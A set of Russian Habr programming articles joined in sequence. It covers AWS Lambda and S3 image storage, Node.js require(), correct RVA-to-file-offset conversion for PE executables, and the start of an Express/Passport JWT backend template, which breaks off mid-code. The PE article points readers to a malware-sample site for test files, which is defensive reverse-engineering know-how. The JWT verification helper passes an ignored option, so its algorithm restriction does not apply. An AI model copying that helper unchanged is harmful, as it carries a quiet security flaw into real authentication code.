image_path = f"{FILES_S3_BUCKET_PREFIX}/{journal_id}/entries/{entry_id}/images/{str(image_id)}"
s3.put_object(
Body=image_str, Bucket=FILES_S3_BUCKET_NAME, Key=image_path
)
```
Во время извлечения картинки из S3 bucket нам потребуется закодировать в base64 для корректной передачи.
```
def get_image_from_bucket(journal_id: str, entry_id: str, image_id: str) -> bytes:
image_path = f"{FILES_S3_BUCKET_PREFIX}/{journal_id}/entries/{entry_id}/images/{image_id}"
response = s3.get_object(Bucket=FILES_S3_BUCKET_NAME, Key=image_path)
image = response["Body"].read()
encoded_image = base64.b64encode(image)
return encoded_image
```
Код функции `lambda_handler(event,context)` доступен на GitHub по [ссылке](https://github.com/kompotkot/hatchery/blob/main/files_distributor/bucket/modules/s3_bucket/files/lambda_function.py), где происходит следующее:
* В начале мы проверяем, что запрос правильного формата и содержит `journal_id` и `entry_id`
* Выполняем запрос к API нашего гипотетического приложения `https://api.example.com/journals/{journal_id}/entries/{entry_id}` с заголовком авторизации `headers={"authorization": auth_bearer_header}`
* Далее в зависимости от метода запроса: `GET`, `POST` или `DELETE` мы читаем, загружаем или удаляем картинку для заметки в журнале
* Во время добавления файла в S3 bucket, мы проверяем расширение и размер файла. Данный функционал можно расширить проверкой хэша, чтобы избежать загрузки одинаковых файлов и тд.
Далее нам потребуется упаковать в lambda библиотеку `requests`, к счастью `boto3` для работы с AWS функционалом доступна из коробки lambda функции. Создадим пустое python окружение, установим библиотеку и упакуем содержимое `site-packages`:
```
python3 -m venv .venv
source .venv/bin/activate
pip install requests
cd .venv/lib/python3.8/site-packages
zip -r9 "lambda_function.zip" .
```
Поместим созданный архив `lambda_function.zip` в директорию `files_distributor/bucket/modules/s3_bucket/files` и добавим код самой lambda функции:
```
zip -g lambda_function.zip -r lambda_function.py
```
Наш сервер готов, теперь можно загружать код на AWS и разворачивать lambda сервер, для чего воспользуемся скриптом в `files_distributor/bucket`:
```
terraform apply
```
В итоге мы получим:
* Приватный AWS S3 bucket `hatchery-sources`, где хранится код для lambda функции
* Приватный AWS S3 bucket `hatchery-files` куда мы будем сохранять наши картинки с префиксом `dev`
* AWS lambda функцию с рабочим кодом сервера
* IAM роль для lambda, позволяющий писать в конкретный S3 bucket и логи
Правила для IAM роли находятся в `files_distributor/bucket/modules/iam/files/iam_role_lambda_inline_policy.json`. Другой файл `iam_role_lambda_policy.json` необходим для корректного функционирования lambda функции.
Для дебага lambda достаточно добавить `print` необходимых значений или воспользоваться стандартным пакетом `logging` в python. Вывод выполнения каждого вызова функции доступен в AWS CloudWatch:
После создания функции добавьте переменную `BUGOUT_FILES_APPLICATION_ID` из нашего кода в lambda окружение, что можно сделать во вкладке `Configuration/Environment variables`.
Для последнего шага сохраните AWS lambda arn в переменную `AWS_HATCHERY_LAMBDA_ARN`.
Настройка AWS Load Balancer и выход в мир
-----------------------------------------
Теперь остался один шаг, создать AWS Security Group, где мы создадим порт на котором будет слушать AWS Load Balancer для последующей передачи данных в lambda функцию (в нашем случае это 80 и 443).
```
terraform apply \
-var hatchery_vpc_id=$AWS_HATCHERY_VPC_ID \
-var hatchery_sbn_public_a_id=$AWS_HATCHERY_SUBNET_PUBLIC_A_ID \
-var hatchery_sbn_public_b_id=$AWS_HATCHERY_SUBNET_PUBLIC_B_ID \
-var hatchery_lambda_arn=$AWS_HATCHERY_LAMBDA_ARN
```
Поздравляю, наша AWS lambda функция открыта миру и готова загружать и отдавать картинки для нашего приложения с заметками! | https://habr.com/ru/post/578974/ | null | ru | null |
# Понимание require() в Node.js

[Node.js](http://nodejs.org/) это асинхронная [JavaScript](http://ru.wikipedia.org/wiki/JavaScript) бибилиотека для построения серверных приложений, которые используют конвенцию [CommonJS](http://wiki.commonjs.org/wiki/CommonJS). Весь этот синтаксис, модули поначалу достаточно запутали меня. Но давайте все-таки попытаемся разобраться.
В этой статье будет использоваться Node.js v0.5.8-pre. Поехали!
Для начала давайте определим пару функций, работающих с окружностями (вероятно вы их уже встречали на страницах документации):
> `var PI = 3.14
>
>
>
> exports.area = function ( r ) {
>
> return PI \* r \* r
>
> }
>
>
>
> exports.circumference = function ( r ) {
>
> return 2 \* PI \* r
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Отлично. Теперь попробуем использовать их в node. Запускаем консоль командой node и подключаем наш файл circle.js. Обратите внимание, что в пути указан относительный путь. Расширение можно не указывать, node подразумевает, что это будет js файл. Первый раз у вас скорее всего получится что-то типа этого:
*node> require('./circle')
{ area: [Function], circumference: [Function] }
node> area
ReferenceError: area is not defined
at EventEmitter.anonymous (eval at readline (/usr/local/lib/node/libraries/repl.js:48:9))
at EventEmitter.readline (/usr/local/lib/node/libraries/repl.js:48:19)
at node.js:845:9*
#### Что же произошло?
Давайте разбираться. Имея опыт работы с другими объектными языками, я привык использовать методы, которые я предварительно определил. Но с CommonJS модулями не все так просто. Давайте посмотрим, как можно использовать наш модуль:
*node> var circle = require('./circle')
{ area: [Function], circumference: [Function] }
node> circle.area(5)
78.5*
Отлично. Результат уже лучше. Однако если попробовать следующее:
*node> circle.PI
node>*
Мы получим “ничего”. Ведь мы корректно вызвали атрибут circle, но ничего не получили. Поначалу это может несколько сбить с толку. Собственно как и меня по началу. Если заглянуть в документацию, то там есть что посмотреть по этому поводу.
To export an object, add to the special exports object. (Alternatively, one can use this instead of exports.)
Мы можем переписать наш модуль следующим образом:
> `var PI = 3.14
>
>
>
> this.area = function ( r ) {
>
> return PI \* r \* r
>
> }
>
>
>
> this.circumference = function ( r ) {
>
> return 2 \* PI \* r
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
“Причем здесь this?” — спросите вы. Да при том, что это и есть наш объект. Мы можем представить наш модуль в следующем виде:
> `function circle () {
>
> var PI = 3.14
>
>
>
> this.area = function ( r ) {
>
> return PI \* r \* r
>
> }
>
>
>
> this.circumference = function ( r ) {
>
> return 2 \* PI \* r
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Знакомо? Это обычный JavaScript-объект. Таким образом модули в Node.js не более, чем привычные нам объекты, определенные в короткой форме. То есть по сути мы объявляем лишь тело объекта. Теперь мы имеем представление об CommonJS модулях.
#### Вывод
Файлы модулей являются ничем иным, как обычными обектами. В файле мы определяем непосредственно тело модуля. В CommonJS модулях, если выхотите что-то сделать доступным из вне, необходимо использовать [export](http://nodejs.ru/doc/v0.4.x/modules.html#module.exports). На самом деле можно получить доступ к PI (в примерах выше), но это неправильный подход. Используя глобальную область видимости мы просто рискуем переопределить уже существующие атрибуты или методы. А потом сиди и отлавливай баги. Экспортируем только публичные методы, все остальное оставляем внутри черного ящика. [Export](http://nodejs.ru/doc/v0.4.x/modules.html#module.exports) — это крайне удобный и практичный подход.
##### От переводчика
Это скорее вольная интерпритация записи Джеймса, нежели полноценный перевод. Оригинал поста уже порядком устарел и я попытался внести некоторые корректировки. Сам я в поисках новых технологий и горизонтов вышел на node.js и пытаюсь его понять, а так же понять причины его бурно растущей популярности. Так и решил поделиться с общественностью некоторыми результатами кропотливого постижения шаг зашагом. | https://habr.com/ru/post/130035/ | null | ru | null |
# Разработка функций RvaToRaw и RawToRva
#### Цель статьи
Целью этой статьи является желание автора показать некоторые нюансы по разработке функций RvaToRaw/RawToRva, которые являются важными для системных утилит работающих с исполнимыми файлами формата PE.
#### На кого нацелена статья?
* Читатель знаком с форматом файлов «Portable Executable»
* Читатель >= 1 раза писал парсер этого файла
* Читатель отлично знает что такое «RvaToRaw»
#### Терминология
**RVA** — Это аббревиатура англ. слов Relative Virtual Address и означает смещение в байтах от начала реального или предполагаемого адреса загрузки модуля.
**RAW** — Файловое смещение от начала файла. Другое удачное название «File offset».
#### Разработка
При поиске в гугле по ключевым словам «rva to raw» или «rva to offset» можно наткнуться на следующий код:
```
DWORD RVAToOffset(IMAGE_NT_HEADERS32* pNtHdr, DWORD dwRVA)
{
int i;
WORD wSections;
PIMAGE_SECTION_HEADER pSectionHdr;
/* Map first section */
pSectionHdr = IMAGE_FIRST_SECTION(pNtHdr);
wSections = pNtHdr->FileHeader.NumberOfSections;
for (i = 0; i < wSections; i++)
{
if (pSectionHdr->VirtualAddress <= dwRVA)
if ((pSectionHdr->VirtualAddress + pSectionHdr->Misc.VirtualSize) > dwRVA)
{
dwRVA -= pSectionHdr->VirtualAddress;
dwRVA += pSectionHdr->PointerToRawData;
return (dwRVA);
}
pSectionHdr++;
}
return (-1);
}
```
Код имеет имеет несколько грубых ошибок и при этом весьма популярен.
В нем не учитывается:
* Значение rva может быть меньше чем OptionalHeader.SizeOfHeaders, т.е. значение может указывать внутрь заголовка
* Значения VirtualAddress, VirtualSize, PointerToRawData никак не выравниваются
* Используется макрос **IMAGE\_FIRST\_SECTION** , который не учитывает 64-битных файлов, об этом честно сказано в winnt.h
Более корректный код, с точки зрения автора:
**Код класса выравнивающего оффсеты и адреса**
```
inline uint32_t alignDown(uint32_t value_, uint32_t factor)
{
return value_ & ~(factor-1);
}
inline uint32_t alignUp(uint32_t value_, uint32_t factor)
{
return alignDown(value_ - 1, factor) + factor;
}
class Aligner
{
public:
const uint32_t FORCED_FILE_ALIGNMENT = 0x200;
const uint32_t MIN_SECTION_ALIGNMENT = 0x1000;
public:
Aligner(uint32_t fileAlignment_, uint32_t sectionAlignement_)
: fileAlignment(fileAlignment_)
, sectionAlignement(sectionAlignement_)
{
}
uint32_t getVirtualSize(uint32_t size)
{
return needAlign(sectionAlignement) ?
alignUp(size, sectionAlignement) :
size;
}
uint32_t getVirtualAddress(uint32_t address)
{
return needAlign(sectionAlignement) ?
alignDown(address, sectionAlignement) :
address;
}
uint32_t getFileOffset(uint32_t offset)
{
return needAlign(sectionAlignement) ?
alignDown(offset, FORCED_FILE_ALIGNMENT) :
offset;
}
uint32_t getSectionSize(const ImgSectionHeader& header)
{
uint32_t fileSize = header.SizeOfRawData;
uint32_t virtualSize = header.Misc.VirtualSize;
if (needAlign(sectionAlignement)) {
fileSize = alignUp(fileSize, fileAlignment);
virtualSize = alignUp(virtualSize, sectionAlignement);
}
return std::min(fileSize, virtualSize);
}
private:
uint32_t fileAlignment;
uint32_t sectionAlignement;
bool needAlign(uint32_t sectionAlignement)
{
return sectionAlignement >= MIN_SECTION_ALIGNMENT;
}
};
```
**Код метода для конвертации Rva в Raw**
```
const uint32_t numInvalidRaw = (uint32_t)( -1 );
uint32_t PeUtils::RvaToRaw( const PeImage& peImage, uint32_t rva )
{
uint32_t result = INVALID_RAW;
const auto& optionalHeader = peImage.NtHeaders.OptionalHeader;
if (rva < optionalHeader.SizeOfHeaders)
return rva;
Aligner aligner(optionalHeader.FileAlignment, optionalHeader.SectionAlignment);
if (peImage.NtHeaders.FileHeader.NumberOfSections > 0) {
for (const auto& section : peImage.Sections) {
if (section.PointerToRawData == 0)
continue;
auto sectionStart = aligner.getVirtualAddress(section.VirtualAddress);
auto sectionSize = aligner.getSectionSize(section);
auto sectionEnd = sectionStart + sectionSize;
if (sectionStart <= rva && rva < sectionEnd) {
auto sectionOffset = aligner.getFileOffset(section.PointerToRawData);
sectionOffset += (rva - sectionStart);
if (sectionOffset < peImage.SizeOfFileImage)
result = sectionOffset;
}
} // for
}
else if (rva < aligner.getVirtualSize(optionalHeader.SizeOfImage)) {
result = rva;
}
return result;
}
```
Что улучшено:
* Учитывается факт того, что не всегда нужно выравнивать(см. метод needAlign)
* Учитывается факт того, что количество секций может быть нулевым. И такой файл может быть загружен!
* Когда требуется выравниваются значения PointerToRawData и VirtualAddress в меньшую сторону
* Более корректное вычисление размера секции
Nota bene:
На самом деле даже это не окончательный вариант, но он уже ближе к тому, как системный загрузчик понимает такие файлы.
#### Тестирование
Создать тестовый набор исполнимых файлов и периодически проверять свои RvaToRaw\RawToRva по этому набору, которые могли быть изменены после рефакторинга или фиксания багов.
Пути получения тестовых файлов:
1. Применить упаковщик исполнимых файлов, который может создать не совсем стандартные значения в заголовках. Примером такого упаковщика является Upack.exe, но существует и множество других
2. Периодически пополнять свою коллекцию новых образцов зловредных файлов, к примеру с MDL(см. доп. источники)
**Nota bene:**
Прошу простить за напоминание, но любой сомнительный файл лучше всего запускать в гостевой виртуальной машине, к примеру на базе VMWare или VirtualBox.
Также корректность своего кода можно проверить с помощью Hiew, IDA Pro или отладчика.
#### Дополнительная источники:
1. #include . Хидер входит в MSVC и не только. Этот хидер должен быть настольным справочником для любого кто пишет парсер этого файла!
2. Мэтт Питрек. «Форматы РЕ и COFF объектных файлов». [rsdn.ru/article/baseserv/pe\_coff.xml](http://rsdn.ru/article/baseserv/pe_coff.xml)
3. Максим М. Гумеров. «Загрузчик PE-файлов». [rsdn.ru/article/baseserv/peloader.xml](http://rsdn.ru/article/baseserv/peloader.xml)
4. Forums >> IDA Pro >> # new PE loader bug and new crack-me. [www.openrce.org/forums/posts/969](http://www.openrce.org/forums/posts/969)
5. MDL. [www.malwaredomainlist.com/mdl.php](http://www.malwaredomainlist.com/mdl.php). Ресурс на котором можно скачать образцы сомнительных файлов
Post scriptum:
* Подчеркну что автор не ставил перед собой цель кого-либо удивить или кого-нибудь высмеять. Автор имеет огромное желание повысить качество системного кода. Очень надеюсь что в будущем «великий гугл» будет выдавать ссылки на достаточно корректный код RvaToRaw\RawToRva
* Автор также обрадуется любым вопросам, любой критике и любым пожеланиям | https://habr.com/ru/post/129241/ | null | ru | null |
# RESTful backend приложение. Базовый шаблон
### Постановка задачи
Необходимо собрать базовый шаблон RESTful backend приложения на NodeJS + Express, который:
* легко документируется
* просто наполняется функционалом
* позволяет легко настраивать защиту маршрутов
* имеет простую встроенную автоматическую валидацию
Гайд достаточно обширный, поэтому сначала мы разберем и реализуем различные части, а затем соберем приложение воедино. Готовый репозиторий можно посмотреть на [Github](https://github.com/DzenDyn/baseBackend).
### Набор инструментов
Сердце нашего приложения – спецификация OpenApi 3.0. В нашем случае это описание API на языке разметки YAML, которое позволит автоматически генерировать и защищать маршруты и документировать API.
Для простоты возьмем MongoDB и mongoose, в целом ничего не помешает заменить эту связку на любую другую в своём шаблоне.
Passport.js – защита маршрутов, аутентификация и авторизация. Стратегия passport-jwt. Мы будем использовать jwt-access и refresh токены.
### Первоначальная настройка
Инициализируем проект, запустив npm init или yarn init, я предпочитаю yarn.
Для начала стоит позаботиться об удобности разработки, стиле кода и допущениях.
За стиль кода у меня отвечают eslint и prettier.
В корне создаем конфиги для eslint и prettier. Для удобства разработки и сборки я использую nodemon, npm-run-all, rimraf, babel. Ниже мои настройки:
.eslintrc.json
```
{
"env": {
"node": true,
"es2021": true
},
"extends": [
"eslint:recommended",
"airbnb-base",
"prettier"
],
"plugins": [
"prettier"
],
"rules": {
"no-console": 0,
"prettier/prettier": ["error"],
"import/extensions": 0,
"import/prefer-default-export": "off",
"import/no-unresolved": 0,
"no-duplicate-imports": ["error", { "includeExports": true }],
"react/prop-types": 0,
"no-underscore-dangle": 0,
"no-param-reassign": ["error", { "props": false }],
"no-case-declarations": 0,
"no-plusplus": ["error", { "allowForLoopAfterthoughts": true }],
"space-infix-ops": ["error", { "int32Hint": false }],
"no-unused-vars": ["error", { "argsIgnorePattern": "next" }]
}
}
```
.prettierrc
```
{
"printWidth": 100,
"singleQuote": true,
"tabWidth": 4,
"bracketSpacing": true,
"endOfLine": "lf",
"semi": true,
"trailingComma": "none"
}
```
Добавьте в свой package.json
```
"dependencies": {
"@babel/node": "^7.13.13",
"body-parser": "^1.19.0",
"connect": "^3.7.0",
"cookie-parser": "^1.4.5",
"cors": "^2.8.5",
"dotenv": "^8.2.0",
"express": "^4.17.1",
"express-openapi-validator": "^4.12.6",
"jsonwebtoken": "^8.5.1",
"mongoose": "^5.12.2",
"morgan": "^1.10.0",
"passport": "^0.4.1",
"passport-jwt": "^4.0.0",
"swagger-routes-express": "^3.3.0",
"swagger-ui-express": "^4.1.6",
"uuid": "^8.3.2",
"validator": "^13.5.2",
"yamljs": "^0.3.0"
},
"devDependencies": {
"@babel/cli": "^7.13.14",
"@babel/core": "^7.13.14",
"@babel/preset-env": "^7.13.12",
"eslint": "^7.23.0",
"eslint-config-airbnb-base": "^14.2.1",
"eslint-config-prettier": "^8.1.0",
"eslint-plugin-import": "^2.22.1",
"eslint-plugin-prettier": "^3.3.1",
"nodemon": "^2.0.7",
"npm-run-all": "^4.1.5",
"prettier": "^2.2.1",
"rimraf": "^3.0.2"
},
"babel": {
"presets": [
"@babel/preset-env"
]
},
"scripts": {
"transpile": "babel ./src --out-dir bin --copy-files",
"clean": "rimraf bin",
"build": "npm-run-all clean transpile",
"server": "node ./bin/app.js",
"dev": "npm-run-all build server",
"start": "yarn dev",
"watch": "nodemon"
}
```
Создайте nodemon.json в корне
```
{
"watch": ["src/*"],
"ext": "js, json, yaml",
"exec": "yarn run dev"
}
```
Установите зависимости, запустив npm или yarn.
Немного про безопасность
------------------------
Я подготовил несколько диаграмм, чтобы пошагово разобрать подход, который мы реализуем. На всякий случай собрал их в [PDF](https://disk.yandex.ru/d/vk9sCckbPYvnHA).
Логика такая:
1. При успешной аутентификации клиент получает JWT access токен и защищённый http-only куки с refresh токеном.
2. При каждом запросе клиент проверяет, не истек ли срок жизни токена доступа (JWT access token), если все ок, вставляет его в заголовок «Authorization», если токен истек, то сначала запрашивает новый токен доступа. Ниже более подробно про наш бэкенд.
#### Регистрация пользователя
1. На Backend передаем в открытом виде(**но только по HTTPS**) e-mail, пароль, какие-то дополнительные данные, которые вам нужны (nickname для примера на диаграмме)
2. Генерируем уникальную соль и хэшируем пароль с этой солью, после чего записываем в базу
#### Аутентификация
[Полная версия изображения](https://habrastorage.org/webt/_h/ap/nn/_hapnnjoll_whtbp-j5seqzzt28.png)
1. Клиент передает по HTTPS email и пароль
2. Пытаемся получить пользователя из базы
3. Получаем либо пользователя, либо undefined
4. Если undefined возвращаем сообщение об ошибке, и не говорим неверна почта или пароль
5. Берем из базы соль пользователя, хэшируем с этой солью введенный пользователем пароль и сверяем с сохраненным в базе хэшем. Если пароль введен неверно, возвращаем сообщение об ошибке, аналогично пункту 4
6. Если пароль введен верно, генерируем JWT токен доступа, с коротким сроком жизни и Refresh токен, который нужен для получения нового токена доступа, с более длительным сроком жизни. **Это не показано на диаграмме, но refresh токен записывается в базу как одно из полей пользователя.**
7. Возвращаем пользователю JWT токен доступа и устанавливаем HTTP-only cookie (secure, т.к. у нас HTTPS).
#### Обновление JWT токена доступа
[Полная версия изображения](https://habrastorage.org/webt/lz/m3/-x/lzm3-xbws1lin0ze6uki2y2xvoc.png)
1. Обращаемся на маршрут обновления токена доступа
2. Получаем из HTTP-only cookie refresh токен
3. Если refresh токена нет – возвращаем ошибку
4. Если токен есть, то проверяем его валидность. Если токен не валидный, возвращаем ошибку.
5. Ищем пользователя по refresh токену.
6. Если пользователь не найден, то считаем токен более не валидным и возвращаем ошибку.
7. Если пользователь найден, то генерируем новую пару JWT токена доступа и refresh токена. **Записываем refresh в базу**
8. И как в предыдущем разделе передаем токен доступа и записываем refresh токен в cookie
#### Выход из системы
[Полная версия изображения](https://habrastorage.org/webt/m6/ug/_9/m6ug_9kzgg25bqvy2zvryop9p3g.png)
1. Переход на маршрут выхода из системы. Внимание на диаграмме ошибка, маршрут что-то типа /user/logout
2. Получаем из HTTP-only cookie refresh токен
3. Если refresh токена нет – возвращаем ошибку
4. Если токен есть, то проверяем его валидность. Если токен не валидный, возвращаем ошибку.
5. Ищем пользователя по refresh токену.
6. Если пользователь не найден, то считаем токен более не валидным и возвращаем ошибку.
7. Удаляем у пользователя из базы refresh токен
8. Сбрасываем cookie у клиента
#### Вспомогательные модули безопасности
Создайте следующую файловую структуру в корне проекта:
Для работы необходимо подготовить:
* SSL сертификат и закрытый ключ к нему
* Закрытый и публичный ключи для генерации JWT токена доступа
* Закрытый и публичный ключи для генерации JWT refresh токена. На самом деле для реализации refresh токена достаточно генерации уникальной строки, можно использовать uuid, например, но я не ищу легких путей.
Если у вас нет SSL сертификата, можно сгенерировать свой, но использовать такой сертификат в боевом проекте не стоит, так как к self-signed сертификатам нет доверия.
Итак для генерации SSL сертификата и закрытого ключа можно воспользоваться openssl:
```
openssl req -x509 -sha256 -nodes -days 365 -newkey rsa:2048 -keyout ssl.key -out ssl.crt
```
Генерируем ключи для JWT:
```
ssh-keygen -t rsa -b 4096 -m PEM -f jwtPrivate.key
openssl rsa -in jwtPrivate.key -pubout -outform PEM -out jwtPublic.pem
ssh-keygen -t rsa -b 4096 -m PEM -f refreshPrivate.key
openssl rsa -in refreshPrivate.key -pubout -outform PEM -out refreshPublic.pem
```
Все ключи и сертификаты складываем в ./src/crypto/
Напишем несколько вспомогательных модулей:
./src/utils/cryptoHelper.js
```
import crypto from 'crypto';
/**
* Валидация пароля
*/
export function validatePassword(password, hash, salt) {
const hashCandidate = crypto.pbkdf2Sync(password, salt, 10000, 64, 'sha512').toString('hex');
return hash === hashCandidate;
}
/**
* Генерация соли и хэша пароля
*/
export function genHashWithSalt(password) {
const salt = crypto.randomBytes(32).toString('hex');
const hash = crypto.pbkdf2Sync(password, salt, 10000, 64, 'sha512').toString('hex');
return {
salt,
hash
};
}
```
./src/utils/jwtHelper.js
```
import fs from 'fs';
import path from 'path';
import jsonwebtoken from 'jsonwebtoken';
// настраиваем пути и читаем ключи
const jwtPrivate = path.join(__dirname, '../crypto/', 'jwtPrivate.pem');
const refreshPrivate = path.join(__dirname, '../crypto/', 'refreshPrivate.pem');
const refreshPublic = path.join(__dirname, '../crypto/', 'refreshPublic.pem');
const JWT_PRIV_KEY = fs.readFileSync(jwtPrivate, 'utf8');
const REFRESH_PRIV_KEY = fs.readFileSync(refreshPrivate, 'utf8');
const REFRESH_PUBLIC_KEY = fs.readFileSync(refreshPublic, 'utf8');
// выпуск JWT токена доступа
export function issueJWT(user) {
const { _id } = user;
const expiresIn = '10m';
const payload = {
uid: _id,
iat: Math.floor(Date.now() / 1000)
};
const signedToken = jsonwebtoken.sign(payload, JWT_PRIV_KEY, { expiresIn, algorithm: 'RS256' });
return {
token: `Bearer ${signedToken}`,
expires: expiresIn
};
}
//выпуск JWT refresh токена
export function issueRefresh(user) {
const { _id } = user;
const expiresIn = '7d';
const payload = {
uid: _id,
iat: Math.floor(Date.now() / 1000)
};
const signedToken = jsonwebtoken.sign(payload, REFRESH_PRIV_KEY, {
expiresIn,
algorithm: 'RS256'
});
return {
token: signedToken,
expires: expiresIn
};
}
//валидация refresh токена
export function isValidRefresh(token) {
try {
jsonwebtoken.verify(token, REFRESH_PUBLIC_KEY, { algorithm: 'RS256' });
} catch (error) {
return false;
}
return true;
}
```
./src/utils/passport.js
```
import { Strategy, ExtractJwt } from 'passport-jwt';
import fs from 'fs';
import path from 'path';
import mongoose from 'mongoose';
import { userSchema } from '../db/models/User';
const User = mongoose.model('User', userSchema);
const pathToKey = path.join(__dirname, '../crypto/', 'jwtPublic.pem');
const PUB_KEY = fs.readFileSync(pathToKey, 'utf8');
const options = {
jwtFromRequest: ExtractJwt.fromAuthHeaderAsBearerToken(),
secretOrKey: PUB_KEY,
algorithms: ['RS256']
};
export const strategy = (pass) => {
pass.use(
new Strategy(options, (jwtPayload, done) => {
User.findOne({ _id: jwtPayload.uid }, (err, user) => {
if (err) {
return done(err, false);
}
if (user) {
return done(null, user);
}
return done(null, null);
});
})
);
};
```
Это описание jwt стратегии, слизано из официальной документации, с небольшими изменениями. Одно из главных - использование публичного ключа, для получения информации из токена.
./src/utils/securityMiddleware.jsЭто промежуточная функция будет использоваться для защиты наших маршрутов
```
export const securityMiddleware = (req, res, next, passport, groups) => {
passport.authenticate('jwt', { session: false }, (err, user) => {
if (err) {
return next(err);
}
if (!user) {
return res.status(401).send('Unauthorized');
}
// добавляем в req поле user с определенным набором полей, отдавать здесь хэш, соль не надо.
const { _id, email, nickname, group } = user;
req.user = {
_id,
email,
nickname,
group
};
if (groups.includes(user.group)) {
return next();
}
return res.status(403).send('Insufficient access rights');
})(req, res, next);
};
```
### Описание API
Наш минимальный API опишет процесс регистрации, аутентификации и авторизации, а также тестовые маршруты для проверки работы разных групп пользователей и открытых разделов.
Этот файл будет использоваться валидатором запросов, генератором документации и генератором маршрутов.
Обратите внимание на поля operationId – это имена функций-контроллеров, которые мы реализуем и они будут вызываться, чтобы обработать эндпоинты.
./src/api/apiV1.yaml
```
openapi: 3.0.3
info:
title: Passport test
description: Test of passport.js
version: 1.0.0
license:
name: MIT License
url: https://opensource.org/licenses/MIT
paths:
# Тестовый публичный маршрут
/test/ping:
get:
description: 'Returns pong'
tags:
- Test
operationId: ping
responses:
'200':
description: OK
$ref: '#/components/responses/standardResponse'
# Тестовый маршрут, для зарегистрированных пользователей
/test/private:
get:
description: 'Testing private section'
tags:
- Test
operationId: testPrivate
security:
- access: ['free']
responses:
'200':
$ref: '#/components/responses/standardResponse'
# Тестовый маршрут, для платных подписчиков
/test/subscription:
get:
description: 'Testing subscribers section'
tags:
- Test
operationId: testSubscription
security:
- access: ['subscriber']
responses:
'200':
$ref: '#/components/responses/standardResponse'
# Маршрут для регистрации пользователей
# обратите внимание на поле email, валидатор будет ожидать формат email
/user/register:
post:
description: 'Register user'
tags:
- User
operationId: userRegister
requestBody:
required: true
content:
application/json:
schema:
type: object
properties:
email:
type: string
format: email
nickname:
type: string
password:
type: string
format: password
responses:
'200':
description: OK
$ref: '#/components/responses/standardResponse'
'400':
description: Bad Request
$ref: '#/components/responses/standardResponse'
# Маршрут для аутентификации
/user/login:
post:
description: 'Login user'
tags:
- User
operationId: userLogin
requestBody:
required: true
content:
application/json:
schema:
type: object
properties:
email:
type: string
format: email
password:
type: string
format: password
responses:
'200':
description: Returns boolean success state and jwt object
content:
application/json:
schema:
type: object
properties:
success:
type: boolean
jwt:
type: object
'400':
description: Login failed
$ref: '#/components/responses/standardResponse'
/user/refresh:
get:
description: 'Refresh token'
tags:
- User
operationId: userRefreshToken
responses:
'200':
description: 'Token refreshed'
$ref: '#/components/responses/jwtResponse'
'403':
description: 'Token refresh error'
$ref: '#/components/responses/standardResponse'
/user/logout:
get:
description: 'Logout user. Remove cookie. Remove refresh token in DB'
tags:
- User
operationId: userLogout
responses:
'200':
description: 'Successfully logged out'
$ref: '#/components/responses/standardResponse'
'403':
description: 'You are not logged in to logout!'
$ref: '#/components/responses/standardResponse'
/user/profile:
get:
description: 'Returns user object'
tags:
- User
operationId: userProfile
security:
- access: [ 'free' ]
responses:
'200':
$ref: '#/components/responses/standardResponse'
'403':
$ref: '#/components/responses/standardResponse'
components:
responses:
standardResponse:
description: Returns boolean success state and string message
content:
application/json:
schema:
type: object
properties:
success:
type: boolean
message:
type: string
jwtResponse:
description: Returns boolean success state and jwt object
content:
application/json:
schema:
type: object
properties:
success:
type: boolean
jwt:
type: object
```
### Модель пользователя и mongoose
Процесс создания базы данных и настройку доступа пользователя к ней, я описывать не буду, процесс максимально доступно описан в официальной документации.
В корне проекта создайте файл .env и укажите в нем порт, на котором будет работать ваше приложение, а также параметры подключения к БД.
.env
```
PORT = 3007
DB_HOST = localhost
DB_PORT = 27017
DB_NAME = passport
DB_USER = passport
DB_PASS = passport
```
Настройка подключения к БД
./src/db/db.js
```
import Mongoose from 'mongoose';
export const connect = async () => {
const dbHost = process.env.DB_HOST;
const dbPort = process.env.DB_PORT;
const dbName = process.env.DB_NAME;
const user = process.env.DB_USER;
const pass = process.env.DB_PASS;
const uri = `mongodb://${dbHost}:${dbPort}/${dbName}?authSource=dbWithCredentials`;
await Mongoose.connect(uri, {
authSource: dbName,
user,
pass,
useNewUrlParser: true,
useFindAndModify: true,
useUnifiedTopology: true,
useCreateIndex: true
}).catch((err) => console.error(err));
const db = Mongoose.connection;
db.on('error', () => {
throw new Error('Error connecting database');
});
};
```
Модель нашего пользователя
./src/db/models/User.js
```
import mongoose from 'mongoose';
export const userSchema = new mongoose.Schema(
{
email: {
type: String,
required: true,
unique: true
},
nickname: {
type: String,
required: true,
unique: true
},
hash: {
type: String,
required: true
},
salt: {
type: String,
required: false
},
refreshToken: {
type: Object
},
group: {
type: String
}
},
{ versionKey: false }
);
```
### Обработка эндпоинтов
Контроллеры имеет смысл группировать по функционалу в один файл, если там много всего, то возможно даже по отдельным директориям. В нашем случае хватит файлов.
Контроллер user.js содержит функции, логика работы которых подробно описана в диаграммах в разделе про безопасность. Здесь без особых комментариев, код должен быть вполне понятен.
./src/api/controllers/user.js
```
import mongoose from 'mongoose';
import { userSchema } from '../../db/models/User';
import * as cryptoHelper from '../../utils/cryptoHelper';
import * as jwtHelper from '../../utils/jwtHelper';
const User = mongoose.model('User', userSchema);
async function sendAndSetTokens(req, res, user) {
const jwt = jwtHelper.issueJWT(user);
const refresh = jwtHelper.issueRefresh(user);
user.refreshToken = refresh;
await user.save();
res.cookie('refreshToken', refresh, {
secure: true,
httpOnly: true
});
res.status(200).json({
success: true,
jwt: {
token: jwt.token,
expiresIn: jwt.expires
}
});
}
// удаление refresh токена из базы
async function resetRefresh(user) {
user.refreshToken = '';
await user.save();
}
// Сброс куки, путем установки пустого значения и короткого срока жизни
function resetCookie(req, res) {
res.cookie('refreshToken', '', {
maxAge: 1000,
secure: true,
httpOnly: true
});
res.status(200).json({
success: true,
message: 'Successfully logged out'
});
}
export function userRegister(req, res, next) {
const { email, nickname, password } = req.body;
const saltHash = cryptoHelper.genHashWithSalt(password);
const { salt, hash } = saltHash;
const newUser = new User({
email,
nickname,
hash,
salt,
group: 'free'
});
newUser
.save()
.then(() => {
res.status(200).json({ success: true, message: 'User registered' });
})
.catch((err) => {
if (err.code === 11000 || err.code === 11001) {
res.status(409).json({
success: false,
message: `E-mail ${email} already registered, try another or log in.`
});
} else {
res.status(400).json({
success: false,
message: err.message
});
}
});
}
export function userLogin(req, res, next) {
User.findOne({ email: req.body.email })
.then(async (user) => {
